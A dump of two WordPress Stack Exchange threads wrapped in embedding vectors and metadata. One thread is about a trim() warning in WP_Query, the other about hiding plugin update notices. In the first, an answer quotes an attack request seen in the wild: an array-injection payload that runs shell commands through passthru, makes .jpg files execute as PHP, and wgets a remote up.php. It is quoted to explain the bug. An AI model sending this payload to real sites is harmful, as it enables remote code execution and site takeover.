0.039276123046875, -0.00969696044921875, 0.02239990234375, -0.052032470703125, 0.0195159912109375, 0.00801849365234375, -0.01409149169921875, -0.0308990478515625, -0.0223541259765625, 0.0013322830200195312, 0.00713348388671875, -0.01171875, -0.040130615234375, -0.03955078125, -0.007625579833984375, 0.002166748046875, -0.0216522216796875, -0.0245513916015625, 0.007526397705078125, -0.0215911865234375, 0.034393310546875, -0.0516357421875, 0.043914794921875, -0.007343292236328125, 0.01338958740234375, -0.042510986328125, 0.01352691650390625, -0.007122039794921875, 0.0238037109375, 0.00830078125, 0.016693115234375, 0.047027587890625, -0.0245208740234375, -0.04302978515625, -0.0010881423950195312, 0.006221771240234375, 0.036407470703125, -0.0286102294921875, -0.00931549072265625, -0.0247344970703125, 0.0281829833984375, -0.018035888671875, -0.028350830078125, 0.0269317626953125, -0.03363037109375, -0.044769287109375, -0.0211944580078125, -0.004116058349609375, 0.00519561767578125, -0.040283203125, -0.040313720703125, 0.0755615234375, -0.0085601806640625, -0.0162506103515625, -0.07244873046875, 0.0210723876953125, 0.01454925537109375, -0.0189666748046875, -0.0305938720703125, 0.004459381103515625, -0.027557373046875, 0.04534912109375, -0.017669677734375, -0.0030536651611328125, 0.028778076171875, -0.0638427734375, -0.047515869140625, -0.03753662109375, 0.006824493408203125, -0.0184783935546875, -0.01444244384765625, -0.0086669921875, 0.05804443359375, 0.042510986328125, -0.008544921875, 0.07635498046875, 0.046142578125, -0.023773193359375, -0.004932403564453125, -0.048980712890625, -0.01959228515625, -0.00385284423828125, 0.1043701171875, 0.00626373291015625, 0.027679443359375, -0.04119873046875, 0.01334381103515625, -0.02935791015625, -0.06719970703125, 0.0036106109619140625, 0.029693603515625, -0.02423095703125, 0.0268402099609375, -0.00621795654296875, -0.01264190673828125, 0.0088043212890625, 0.004177093505859375, -0.037872314453125, -0.01390838623046875, -0.0145721435546875, 0.003429412841796875, -0.064453125, -0.0014734268188476562, 0.055572509765625, -0.03863525390625, -0.00608062744140625, 0.031219482421875, -0.0023651123046875, 0.029266357421875, 0.062744140625, 0.035125732421875, 0.0289306640625, -0.027313232421875, 0.0036716461181640625, 0.0380859375, 0.034942626953125, -0.0068359375, -0.02972412109375, 0.0013666152954101562, 0.0079193115234375, -0.0219268798828125, -0.0169525146484375, 0.02001953125, 0.0306243896484375, -0.00901031494140625, 0.0810546875, -0.0029449462890625, 0.052947998046875, 0.00447845458984375, 0.0308074951171875, 0.0020885467529296875, -0.0153656005859375, 0.0455322265625, -0.041839599609375, 0.004161834716796875, 0.0233001708984375, -0.0081024169921875, -0.05072021484375, 0.0687255859375, 0.0263519287109375, 0.004467010498046875, 0.0269775390625 ]
a273ae85e49701a5b9b4f9c1cd03bc866a1ac6c8
Wordpress Stackexchange Q: Wordpress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given I am running Wordpress 4.9.5 and occasionally see the following error in my logs. E_WARNING: trim() expects parameter 1 to be string, array given The stack trace looks like this, so it's not coming from custom theme code. in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736) …::parse_query called at /var/www/wordpress/html/wp-includes/ class-wp-query.php (1621) …ry::get_posts called at /var/www/wordpress/html/wp-includes/ class-wp-query.php (3230) in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599) in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715) in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960) in wp called at /var/www/wordpress/html/wp-blog-header.php (16) in require called at /var/www/wordpress/html/index.php (17) Is this a known/unknown Wordpress bug and is there a fix for it? A: I ran into this today. It's a bug. I filed a bug report here: https://core.trac.wordpress.org/ticket/46797 The problem is this line of code: $qv['name'] = trim( $qv['name'] ); Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764 A (malicious) user sends a request that looks like: GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!'> sites/default/files/vuln.php; echo 'Vuln!!'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php' Such a request makes $qv['name'] an array, not a string. Needs to be sanitized.
Q: Wordpress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given I am running Wordpress 4.9.5 and occasionally see the following error in my logs. E_WARNING: trim() expects parameter 1 to be string, array given The stack trace looks like this, so it's not coming from custom theme code. in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736) …::parse_query called at /var/www/wordpress/html/wp-includes/ class-wp-query.php (1621) …ry::get_posts called at /var/www/wordpress/html/wp-includes/ class-wp-query.php (3230) in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599) in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715) in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960) in wp called at /var/www/wordpress/html/wp-blog-header.php (16) in require called at /var/www/wordpress/html/index.php (17) Is this a known/unknown Wordpress bug and is there a fix for it? A: I ran into this today. It's a bug. I filed a bug report here: https://core.trac.wordpress.org/ticket/46797 The problem is this line of code: $qv['name'] = trim( $qv['name'] ); Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764 A (malicious) user sends a request that looks like: GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!'> sites/default/files/vuln.php; echo 'Vuln!!'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php' Such a request makes $qv['name'] an array, not a string. Needs to be sanitized.
wordpress
{ "language": "en", "length": 191, "provenance": "stackexchange_00019.jsonl.gz:486402", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304307" }
[ 0.0238494873046875, -0.05084228515625, -0.0150299072265625, -0.0194549560546875, -0.01261138916015625, -0.0209808349609375, 0.009429931640625, 0.0035800933837890625, -0.003025054931640625, 0.010986328125, -0.0297393798828125, -0.00717926025390625, -0.042694091796875, -0.0162353515625, -0.01348114013671875, -0.035980224609375, 0.0176239013671875, 0.01354217529296875, 0.00846099853515625, -0.0200347900390625, 0.0020313262939453125, -0.01371002197265625, -0.0185546875, 0.006622314453125, -0.025634765625, 0.06634521484375, 0.09912109375, -0.0391845703125, -0.0173492431640625, -0.0467529296875, -0.00634002685546875, -0.0041656494140625, -0.00185394287109375, 0.0748291015625, -0.049041748046875, -0.01953125, 0.0001201629638671875, 0.03228759765625, 0.01488494873046875, 0.0240325927734375, 0.004596710205078125, -0.016693115234375, 0.0263671875, -0.040618896484375, -0.0013751983642578125, -0.006160736083984375, 0.01198577880859375, -0.01468658447265625, 0.01425933837890625, 0.037261962890625, 0.0170745849609375, -0.01253509521484375, 0.0172271728515625, 0.051849365234375, -0.01568603515625, -0.00327301025390625, 0.0168304443359375, 0.031280517578125, 0.0214691162109375, 0.0126495361328125, -0.03265380859375, 0.0322265625, 0.00933837890625, -0.043701171875, 0.0229034423828125, -0.01995849609375, 0.07867431640625, 0.025177001953125, -0.0335693359375, 0.01611328125, 0.0186767578125, 0.0303802490234375, -0.0199432373046875, -0.0081634521484375, 0.027587890625, -0.02471923828125, 0.0201263427734375, -0.040069580078125, -0.005096435546875, 0.07098388671875, -0.017730712890625, -0.01424407958984375, -0.07470703125, 0.0053863525390625, 0.020294189453125, 0.044525146484375, -0.021148681640625, -0.02685546875, -0.017852783203125, 0.006053924560546875, -0.0251312255859375, -0.0151519775390625, 0.04949951171875, 0.00772857666015625, -0.0254364013671875, -0.0164337158203125, -0.0011262893676757812, 0.03546142578125, -0.043487548828125, 0.01500701904296875, -0.0019359588623046875, -0.0242767333984375, 0.03704833984375, -0.035003662109375, -0.0191192626953125, 0.0183868408203125, 0.036346435546875, 0.04083251953125, 0.025177001953125, 0.016143798828125, 0.005069732666015625, -0.000028252601623535156, -0.053131103515625, -0.055999755859375, -0.036468505859375, 0.07470703125, -0.00795745849609375, -0.053863525390625, 0.015838623046875, -0.0219268798828125, -0.0194244384765625, -0.00809478759765625, 0.01206207275390625, -0.044708251953125, 0.003307342529296875, -0.01158905029296875, -0.002834320068359375, -0.0202484130859375, -0.003978729248046875, 0.0285491943359375, 0.00577545166015625, 0.011260986328125, -0.01378631591796875, 0.0033016204833984375, -0.0227203369140625, -0.015167236328125, 0.0367431640625, 0.0203704833984375, 0.033905029296875, 0.0106201171875, 0.0002276897430419922, -0.04998779296875, -0.0081329345703125, 0.0204925537109375, 0.0244903564453125, -0.00803375244140625, 0.029388427734375, 0.023712158203125, 0.0003218650817871094, -0.031005859375, 0.0139312744140625, 0.016510009765625, 0.0572509765625, -0.01904296875, -0.036590576171875, -0.0171051025390625, -0.0101470947265625, -0.034423828125, -0.047454833984375, -0.0323486328125, -0.0009546279907226562, -0.0027294158935546875, 0.00130462646484375, -0.0330810546875, -0.04644775390625, 0.01554107666015625, -0.027801513671875, 0.005046844482421875, 0.0178680419921875, 0.032958984375, -0.004047393798828125, 0.017425537109375, 0.051361083984375, 0.0102386474609375, -0.024444580078125, 0.0032253265380859375, -0.0175323486328125, -0.01605224609375, 0.0237884521484375, 0.006561279296875, -0.016448974609375, -0.05029296875, -0.0037250518798828125, -0.005718231201171875, -0.04351806640625, 0.015380859375, 0.035125732421875, 0.06280517578125, -0.0006923675537109375, 0.01230621337890625, 0.0513916015625, 0.01380157470703125, -0.0060882568359375, -0.005985260009765625, 0.0102996826171875, -0.0233001708984375, -0.01195526123046875, -0.0181427001953125, 0.00235748291015625, 0.0247344970703125, 0.00010854005813598633, -0.01398468017578125, -0.0194244384765625, -0.035491943359375, -0.07843017578125, -0.045013427734375, -0.0177001953125, 0.03289794921875, -0.013427734375, 0.0195770263671875, 0.042022705078125, 0.04541015625, -0.07666015625, 0.0399169921875, -0.0172882080078125, 0.01959228515625, -0.040618896484375, 0.04400634765625, -0.0230712890625, 0.0278778076171875, -0.01421356201171875, -0.035614013671875, 0.0007958412170410156, -0.00122833251953125, 0.03533935546875, -0.0011272430419921875, -0.0023593902587890625, -0.01242828369140625, 0.055938720703125, -0.014495849609375, 0.052764892578125, 0.019500732421875, 0.00667572021484375, 0.0411376953125, -0.00923919677734375, -0.0129852294921875, -0.009674072265625, -0.05792236328125, -0.0037860870361328125, 0.04351806640625, 0.0251922607421875, -0.01103973388671875, -0.04901123046875, -0.05242919921875, 0.047882080078125, -0.0033168792724609375, -0.01120758056640625, -0.031005859375, -0.03814697265625, 0.005817413330078125, 0.059478759765625, -0.00029397010803222656, 0.01214599609375, -0.0112762451171875, -0.0107574462890625, 0.021484375, -0.00909423828125, -0.007625579833984375, -0.039886474609375, 0.0095367431640625, 0.00005173683166503906, -0.04559326171875, -0.029510498046875, -0.00904083251953125, 0.0197296142578125, -0.0170745849609375, 0.00733184814453125, 0.00942230224609375, -0.0191497802734375, -0.000965118408203125, 0.01320648193359375, -0.021881103515625, -0.01444244384765625, 0.01849365234375, 0.026763916015625, 0.0184783935546875, -0.0193023681640625, -0.0019683837890625, -0.004802703857421875, 0.00353240966796875, 0.007572174072265625, 0.03070068359375, 0.0198974609375, -0.0161285400390625, -0.00519561767578125, -0.00843048095703125, 0.0033092498779296875, -0.0341796875, -0.003284454345703125, -0.03466796875, 0.004627227783203125, 0.0137176513671875, -0.03729248046875, 0.06732177734375, -0.00635528564453125, -0.03729248046875, 0.0299072265625, 0.012481689453125, -0.004974365234375, 0.0103912353515625, 0.044342041015625, 0.03668212890625, -0.00989532470703125, -0.01233673095703125, 0.0101776123046875, 0.00012493133544921875, 0.0262908935546875, 0.0261077880859375, 0.00757598876953125, 0.0011339187622070312, -0.0616455078125, -0.0014209747314453125, 0.027923583984375, 0.08551025390625, -0.02203369140625, -0.038482666015625, -0.00823211669921875, 0.034759521484375, -0.03375244140625, -0.08721923828125, -0.0241241455078125, -0.03387451171875, -0.0372314453125, 0.019683837890625, -0.01044464111328125, 0.014801025390625, 0.004474639892578125, 0.0039043426513671875, -0.01139068603515625, -0.0265045166015625, -0.0526123046875, -0.09759521484375, -0.06573486328125, -0.047607421875, -0.0011653900146484375, 0.0029506683349609375, 0.000255584716796875, 0.0279388427734375, -0.0097503662109375, -0.02679443359375, -0.0252532958984375, 0.0027904510498046875, -0.0023059844970703125, 0.00211334228515625, -0.0205841064453125, -0.00856781005859375, 0.0281524658203125, -0.00933074951171875, 0.0313720703125, 0.01171112060546875, -0.00302886962890625, -0.022308349609375, 0.0194244384765625, 0.007450103759765625, 0.01873779296875, 0.054168701171875, -0.0220947265625, -0.0035877227783203125, 0.0321044921875, -0.045867919921875, -0.027862548828125, -0.0223846435546875, -0.06988525390625, 0.021728515625, 0.05279541015625, 0.007572174072265625, -0.0216522216796875, -0.006969451904296875, 0.027679443359375, 0.0445556640625, 0.002452850341796875, 0.0022563934326171875, 0.039276123046875, -0.000056624412536621094, 0.0218963623046875, -0.035736083984375, 0.0091552734375, -0.03515625, 0.018646240234375, 0.003055572509765625, -0.0275115966796875, 0.023284912109375, -0.03643798828125, 0.0280914306640625, -0.00754547119140625, 0.07037353515625, 0.0022068023681640625, 0.011932373046875, -0.0396728515625, -0.054107666015625, -0.04827880859375, 0.03961181640625, 0.015716552734375, -0.0167236328125, -0.00594329833984375, -0.006946563720703125, -0.0582275390625, -0.004467010498046875, -0.052825927734375, 0.01219940185546875, 0.0018682479858398438, -0.033050537109375, -0.0244140625, -0.0184478759765625, -0.03570556640625, 0.0116729736328125, -0.0182037353515625, -0.01558685302734375, 0.0295562744140625, -0.08740234375, 0.0024738311767578125, 0.0018663406372070312, 0.0103912353515625, -0.06793212890625, -0.0145416259765625, -0.04888916015625, -0.07763671875, -0.0167694091796875, 0.0223388671875, 0.0577392578125, -0.024200439453125, -0.0097808837890625, -0.04327392578125, 0.046142578125, -0.003932952880859375, -0.038818359375, 0.0294036865234375, 0.0244903564453125, -0.0517578125, 0.0693359375, 0.0100250244140625, 0.00460052490234375, -0.007602691650390625, 0.01380157470703125, -0.0137786865234375, -0.00746917724609375, -0.0200347900390625, -0.07672119140625, 0.02960205078125, -0.0482177734375, -0.025299072265625, -0.0283203125, 0.035064697265625, 0.04266357421875, 0.00885772705078125, -0.00269317626953125, -0.0172576904296875, -0.025146484375, 0.023651123046875, -0.00792694091796875, -0.0174560546875, 0.0087890625, 0.06658935546875, 0.0145721435546875, -0.0212554931640625, -0.0287322998046875, 0.04998779296875, 0.03424072265625, -0.0014467239379882812, 0.061614990234375, 0.015625, -0.023223876953125, 0.053558349609375, -0.0013704299926757812, -0.0006451606750488281, -0.0278778076171875, 0.005340576171875, 0.01059722900390625, -0.0256195068359375, 0.0212554931640625, 0.03399658203125, 0.01425933837890625, 0.059356689453125, 0.0280914306640625, 0.0266876220703125, 0.031707763671875, -0.047760009765625, -0.0189056396484375, -0.041748046875, 0.031890869140625, -0.0546875, 0.034393310546875, -0.0286407470703125, 0.00688934326171875, -0.0217132568359375, 0.031494140625, 0.01142120361328125, -0.0014543533325195312, 0.0170440673828125, 0.01422882080078125, -0.00441741943359375, -0.006992340087890625, 0.01546478271484375, 0.038421630859375, -0.004108428955078125, 0.0071868896484375, 0.004169464111328125, 0.042694091796875, -0.002105712890625, -0.038787841796875, -0.048553466796875, 0.02923583984375, 0.021759033203125, -0.0115509033203125, 0.034759521484375, 0.0226287841796875, 0.0076141357421875, 0.007343292236328125, -0.0254669189453125, 0.0014972686767578125, 0.021087646484375, -0.01715087890625, 0.041046142578125, -0.0033054351806640625, 0.0104827880859375, -0.0147247314453125, 0.054443359375, -0.0227813720703125, 0.01788330078125, 0.0038776397705078125, -0.0167083740234375, 0.01096343994140625, 0.0401611328125, 0.02117919921875, -0.03125, -0.01024627685546875, 0.04119873046875, 0.0196380615234375, -0.01293182373046875, -0.0022068023681640625, 0.01479339599609375, 0.0152435302734375, -0.016815185546875, -0.0199127197265625, 0.014862060546875, -0.01509857177734375, -0.00881195068359375, 0.012725830078125, -0.018829345703125, -0.01232147216796875, -0.04925537109375, -0.039581298828125, 0.029022216796875, 0.0029277801513671875, -0.042816162109375, 0.034454345703125, -0.03399658203125, 0.052032470703125, 0.0177001953125, -0.005283355712890625, 0.0234832763671875, 0.02239990234375, 0.05816650390625, -0.0023345947265625, -0.044952392578125, -0.027099609375, -0.0157928466796875, -0.0164337158203125, 0.00620269775390625, 0.0767822265625, -0.0012149810791015625, -0.007259368896484375, -0.036407470703125, 0.006336212158203125, -0.058441162109375, 0.0184173583984375, 0.026031494140625, -0.0023899078369140625, -0.022003173828125, 0.00659942626953125, -0.06072998046875, -0.03607177734375, 0.003955841064453125, -0.004547119140625, -0.0509033203125, 0.0014801025390625, -0.0176544189453125, 0.0017299652099609375, -0.011016845703125, -0.0098876953125, -0.0555419921875, 0.01334381103515625, 0.0194854736328125, -0.014129638671875, -0.036956787109375, -0.00936126708984375, 0.052215576171875, -0.02392578125, 0.0090484619140625, 0.02142333984375, 0.072998046875, -0.034912109375, 0.0239715576171875, -0.0257568359375, -0.039764404296875, -0.027252197265625, 0.0141448974609375, 0.004528045654296875, 0.01031494140625, -0.026611328125, 0.0245208740234375, -0.02154541015625, 0.00885009765625, -0.0033416748046875, -0.007476806640625, -0.0169677734375, -0.007537841796875, 0.034423828125, -0.01070404052734375, 0.0184173583984375, 0.0019474029541015625, -0.006015777587890625, 0.02911376953125, -0.0230712890625, 0.0391845703125, -0.00626373291015625, -0.042694091796875, 0.028533935546875, 0.09234619140625, -0.0106658935546875, 0.04705810546875, -0.0166168212890625, -0.018341064453125, 0.033843994140625, 0.0036945343017578125, -0.029876708984375, -0.007617950439453125, 0.039520263671875, -0.000179290771484375, -0.020172119140625, 0.01513671875, -0.01377105712890625, 0.0235443115234375, 0.007335662841796875, 0.0791015625, -0.06280517578125, 0.040924072265625, 0.046142578125, 0.0038127899169921875, 0.0036449432373046875, 0.0198974609375, 0.0089569091796875, 0.00787353515625, 0.003986358642578125, -0.0186614990234375, -0.00814056396484375, 0.0224456787109375, 0.002559661865234375, -0.0240631103515625, -0.0200958251953125, 0.037322998046875, 0.03070068359375, -0.004459381103515625, 0.032806396484375, 0.009918212890625, 0.01343536376953125, 0.031036376953125, 0.0157623291015625, -0.0203704833984375, -0.033233642578125, -0.032318115234375, -0.03497314453125, -0.0267791748046875, -0.055328369140625, -0.0176239013671875, 0.0232696533203125, -0.0216217041015625, 0.05511474609375, -0.0245208740234375, 0.00244903564453125, 0.0234222412109375, -0.027801513671875, 0.0090789794921875, -0.033203125, -0.0102386474609375, 0.0633544921875, -0.08819580078125, 0.0198974609375, -0.0141448974609375, 0.03509521484375, 0.006137847900390625, -0.0101776123046875, 0.05242919921875, -0.0147247314453125, -0.011810302734375, 0.038909912109375, -0.0281524658203125, -0.0214691162109375, -0.014007568359375, 0.029510498046875, -0.0841064453125, -0.0711669921875, 0.01355743408203125, -0.031341552734375, -0.03118896484375, -0.009124755859375, -0.034393310546875, 0.05517578125, -0.0008487701416015625, -0.0135345458984375, 0.0250244140625, 0.02471923828125, -0.0489501953125, -0.0203399658203125, -0.03082275390625, 0.043975830078125, -0.012725830078125, 0.059234619140625, -0.07147216796875, -0.0161590576171875, 0.015655517578125, 0.04541015625, 0.01020050048828125, -0.00977325439453125, 0.0198211669921875, -0.00597381591796875, 0.014862060546875, 0.03497314453125, -0.00963592529296875, -0.015045166015625, -0.01000213623046875, 0.0179595947265625, 0.07110595703125, -0.0292205810546875, 0.051544189453125, 0.0244903564453125, -0.01410675048828125, -0.00029468536376953125, 0.010498046875, 0.01474761962890625, 0.007198333740234375, 0.01555633544921875, -0.005207061767578125, -0.0177764892578125, 0.0023365020751953125, -0.0338134765625, 0.00814056396484375, 0.058563232421875, 0.0675048828125, -0.0272674560546875, -0.020904541015625, -0.0242462158203125, 0.05108642578125, 0.01507568359375, 0.035400390625, 0.0178375244140625, 0.0178985595703125, 0.06646728515625, -0.039154052734375, 0.0146026611328125, 0.0186920166015625, -0.034332275390625, 0.037933349609375, 0.01096343994140625, 0.03509521484375, -0.0151824951171875, 0.0113677978515625, 0.03466796875, 0.04583740234375, -0.03314208984375, -0.04034423828125, -0.004573822021484375, -0.00836181640625, 0.014678955078125, 0.0115203857421875, 0.01898193359375, 0.027130126953125, 0.02630615234375, -0.04437255859375, 0.0207672119140625, -0.00388336181640625, 0.017913818359375, -0.01438140869140625, 0.032073974609375, -0.04595947265625, -0.005756378173828125, -0.0306854248046875, 0.0140838623046875, -0.0002065896987915039, 0.06170654296875, 0.0015821456909179688, 0.0390625, -0.046661376953125, -0.016510009765625, 0.00864410400390625, 0.05255126953125, 0.0009388923645019531, -0.0093994140625, 0.0149078369140625, -0.0009093284606933594, -0.0281829833984375, -0.0120697021484375, -0.012542724609375, -0.023834228515625, 0.029266357421875, -0.0018033981323242188, -0.07220458984375, -0.0201263427734375, -0.00799560546875, -0.04119873046875, -0.057464599609375, -0.01605224609375, -0.002140045166015625, 0.0138702392578125, 0.0158233642578125, 0.0154266357421875, 0.0726318359375, -0.0096588134765625, 0.025604248046875, -0.01497650146484375, 0.01885986328125, 0.030975341796875, 0.038055419921875, 0.034942626953125, -0.045654296875, 0.0565185546875, 0.01153564453125, 0.01065826416015625, 0.0213623046875, -0.028961181640625, -0.03216552734375, 0.034393310546875, 0.01824951171875, -0.01496124267578125, 0.01410675048828125, -0.025726318359375, 0.031646728515625, -0.0125274658203125, 0.011749267578125, 0.021148681640625, -0.0028076171875, 0.004093170166015625, -0.0697021484375, -0.032379150390625, -0.03363037109375, 0.02825927734375, -0.0122833251953125, 0.1268310546875, -0.031494140625, 0.01513671875, -0.0255279541015625, 0.01201629638671875, -0.015380859375, -0.037567138671875, 0.032440185546875, -0.0169677734375, -0.002315521240234375, -0.00749969482421875, -0.053192138671875, 0.04156494140625, 0.0220489501953125, -0.007617950439453125, 0.046051025390625, 0.004177093505859375, -0.0009059906005859375, -0.0202789306640625, 0.049285888671875, 0.004344940185546875, -0.0241851806640625, 0.0233612060546875, 0.0265655517578125, 0.02044677734375, 0.07952880859375, -0.00823211669921875, 0.00921630859375, 0.0506591796875, -0.0206451416015625, 0.043121337890625, -0.0214385986328125, 0.078369140625, 0.050506591796875, -0.0015401840209960938, -0.026580810546875, -0.0440673828125, -0.014434814453125, -0.0100860595703125, 0.0006818771362304688, 0.038330078125, -0.0258331298828125, 0.060791015625, 0.007160186767578125, -0.0021724700927734375, 0.020477294921875, -0.01165771484375, -0.00893402099609375, 0.023406982421875, -0.0010614395141601562, -0.0251922607421875, 0.0186004638671875, 0.0245208740234375, 0.0095062255859375, -0.0504150390625, 0.0080718994140625, -0.03460693359375, 0.01554107666015625, -0.047882080078125, -0.0095367431640625, 0.0005393028259277344, 0.0150604248046875, -0.07781982421875, 0.05999755859375, -0.0027332305908203125, -0.00818634033203125, -0.042236328125, 0.043243408203125, -0.0004177093505859375, 0.017547607421875, -0.053131103515625, -0.0091094970703125, -0.00919342041015625, 0.0144500732421875, -0.0031585693359375, 0.01212310791015625, 0.051666259765625, -0.023590087890625, -0.0693359375, 0.00994110107421875, 0.00399017333984375, 0.053497314453125, -0.050933837890625, -0.02593994140625, 0.03961181640625, -0.0136566162109375, -0.0055694580078125, -0.0938720703125, -0.019378662109375, -0.09619140625, 0.048248291015625, 0.0294342041015625, -0.0187530517578125, 0.006778717041015625, -0.041107177734375, -0.11517333984375, 0.0545654296875, -0.006778717041015625, -0.04345703125, -0.006168365478515625, -0.042938232421875, -0.006435394287109375, 0.044189453125, -0.016204833984375, 0.00807952880859375, -0.053009033203125, 0.0160675048828125, 0.00904083251953125, 0.00966644287109375, -0.0036067962646484375, 0.01088714599609375, -0.060394287109375, 0.0233306884765625, 0.029571533203125, -0.0219879150390625, -0.01715087890625, -0.01806640625, 0.044708251953125, 0.0438232421875, -0.0115203857421875, 0.00982666015625, 0.029693603515625, -0.0156402587890625, -0.01140594482421875, 0.00397491455078125, -0.037445068359375, 0.0091094970703125, 0.04888916015625, 0.0718994140625, 0.01134490966796875, -0.040008544921875, -0.004108428955078125, -0.04754638671875, 0.018280029296875, -0.0235595703125, 0.00656890869140625, -0.08819580078125, -0.0225372314453125, 0.0576171875, -0.0164337158203125, 0.022552490234375, -0.0244903564453125, -0.038299560546875, -0.002780914306640625, -0.05010986328125, -0.0147247314453125, -0.039520263671875, -0.041534423828125, 0.00884246826171875, 0.0018100738525390625, -0.0092010498046875, 0.005718231201171875, 0.01983642578125, -0.019561767578125, 0.03790283203125, 0.01702880859375, -0.01763916015625, -0.006725311279296875, 0.0232086181640625, -0.00311279296875, 0.035858154296875, -0.020233154296875, -0.043701171875, 0.01007080078125, 0.0018758773803710938, -0.0104522705078125, 0.00396728515625, 0.02789306640625, -0.031585693359375, -0.021026611328125, 0.0019359588623046875, -0.035369873046875, 0.035675048828125, -0.0030231475830078125, 0.0011110305786132812, 0.0244598388671875, 0.01219940185546875, 0.07098388671875, -0.0284576416015625, -0.005229949951171875, 0.045867919921875, -0.0008940696716308594, -0.040771484375, 0.0140228271484375, 0.048431396484375, 0.032684326171875, 0.01168060302734375 ]
a359fc58001d782f8ebf12ab361e8623c95c22fd
Wordpress Stackexchange Q: Preventing a plugin from updating I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version. We don't want a staff member to accidentally click the upgrade button on this plugin while going through a series of upgrades. However, we still want to see the upgrade notification, so that a dev can schedule the update. So increasing the version number in the header to some really high value is not a solution, because it blocks that visibility. How can I block WP from being able to upgrade and the plugin still be valid? A: In the file functions.php of the active theme add this lines function filter_plugin_updates( $value ) { unset( $value->response['path_to_plugin/plugin_name.php'] ); // one plugin by line } add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' ); This will completly hide update requirement. You will have to check yourself if there is an update available by commentating the code.
Q: Preventing a plugin from updating I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version. We don't want a staff member to accidentally click the upgrade button on this plugin while going through a series of upgrades. However, we still want to see the upgrade notification, so that a dev can schedule the update. So increasing the version number in the header to some really high value is not a solution, because it blocks that visibility. How can I block WP from being able to upgrade and the plugin still be valid? A: In the file functions.php of the active theme add this lines function filter_plugin_updates( $value ) { unset( $value->response['path_to_plugin/plugin_name.php'] ); // one plugin by line } add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' ); This will completly hide update requirement. You will have to check yourself if there is an update available by commentating the code. A: The answer of @Core92 is correct, except that throws a warning when enabling/disabling other plugins so better: function filter_plugin_updates( $value ) { $toAvoid='path_to_plugin/plugin_name.php'; if( isset( $value->response[$toAvoid]) ) unset( $value->response[$toAvoid] ); return $value; } add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' ); A: First of all... It is a really bad idea to modify existing plugin. But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO): function remove_update_notification_link($value) { if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) { $value->response[ 'wordpress-seo/wp-seo.php' ]->package = ''; } return $value; } add_filter('site_transient_update_plugins', 'remove_update_notification_link'); The notice will be shown, but instead of the link to update there will be info: "Automatic update is unavailable for this plugin." If you put this code right in the plugin, then you can use more automatic way: function remove_update_notification_link($value) { if ( array_key_exists(plugin_basename(__FILE__), $value->response) ) { $value->response[ plugin_basename(__FILE__) ]->package = ''; } return $value; } add_filter('site_transient_update_plugins', 'remove_update_notification_link'); A: There is a plugin that allows you to choose which plugins you don't want to receive update notices for: Block Plugin Update https://wordpress.org/plugins/block-specific-plugin-updates/ It has not been updated for a while, but I can tell you it works fine with the current version of WP (4.9.6)
wordpress
{ "language": "en", "length": 380, "provenance": "stackexchange_00019.jsonl.gz:486423", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304410" }
[ 0.07843017578125, 0.024200439453125, 0.0205841064453125, -0.043975830078125, 0.037384033203125, -0.013214111328125, 0.0328369140625, -0.03375244140625, -0.01100921630859375, 0.016387939453125, 0.004497528076171875, 0.0005369186401367188, -0.0323486328125, -0.03253173828125, -0.0104827880859375, -0.04248046875, 0.04510498046875, 0.01081085205078125, 0.0175323486328125, -0.0090179443359375, -0.0013475418090820312, 0.043914794921875, -0.02410888671875, 0.10845947265625, 0.0185546875, -0.005615234375, 0.09783935546875, -0.0216522216796875, 0.0258636474609375, -0.0019588470458984375, 0.0276947021484375, -0.036376953125, 0.004974365234375, 0.05560302734375, -0.059661865234375, -0.0247344970703125, 0.0146026611328125, 0.0078277587890625, -0.007396697998046875, 0.044403076171875, 0.014892578125, -0.00469207763671875, -0.0052337646484375, 0.0072784423828125, -0.0123291015625, -0.048858642578125, 0.0206451416015625, -0.021636962890625, 0.0231170654296875, -0.005767822265625, 0.003643035888671875, 0.010528564453125, 0.013336181640625, -0.00446319580078125, -0.01666259765625, -0.00017261505126953125, -0.046234130859375, 0.0750732421875, 0.021087646484375, 0.035919189453125, -0.0259246826171875, 0.010345458984375, -0.005809783935546875, -0.0501708984375, 0.03509521484375, -0.02008056640625, 0.0287017822265625, 0.026397705078125, -0.048095703125, 0.023345947265625, 0.054962158203125, -0.02947998046875, 0.0168609619140625, 0.0000349879264831543, -0.002593994140625, -0.03009033203125, 0.0206756591796875, -0.0253753662109375, 0.01837158203125, -0.0001456737518310547, 0.06732177734375, -0.03594970703125, 0.035675048828125, 0.0011453628540039062, 0.017242431640625, 0.04119873046875, 0.015869140625, -0.026031494140625, 